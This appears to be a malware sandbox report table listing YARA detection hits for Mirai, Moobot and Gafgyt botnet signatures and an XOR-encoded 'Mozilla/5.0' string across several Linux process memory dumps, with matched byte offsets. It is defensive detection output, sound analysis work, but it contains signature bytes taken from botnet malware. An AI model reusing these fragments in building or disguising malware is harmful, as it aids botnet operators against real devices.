6633.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6633.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7158.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7162.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7162.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7162.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7162.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7162.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7162.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6464.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7248.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7248.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7248.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7248.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6664.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6664.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6664.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6400.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6664.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6664.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6664.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6665.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6665.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6665.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6665.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6665.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6665.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6624.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7322.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7322.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7322.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7322.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
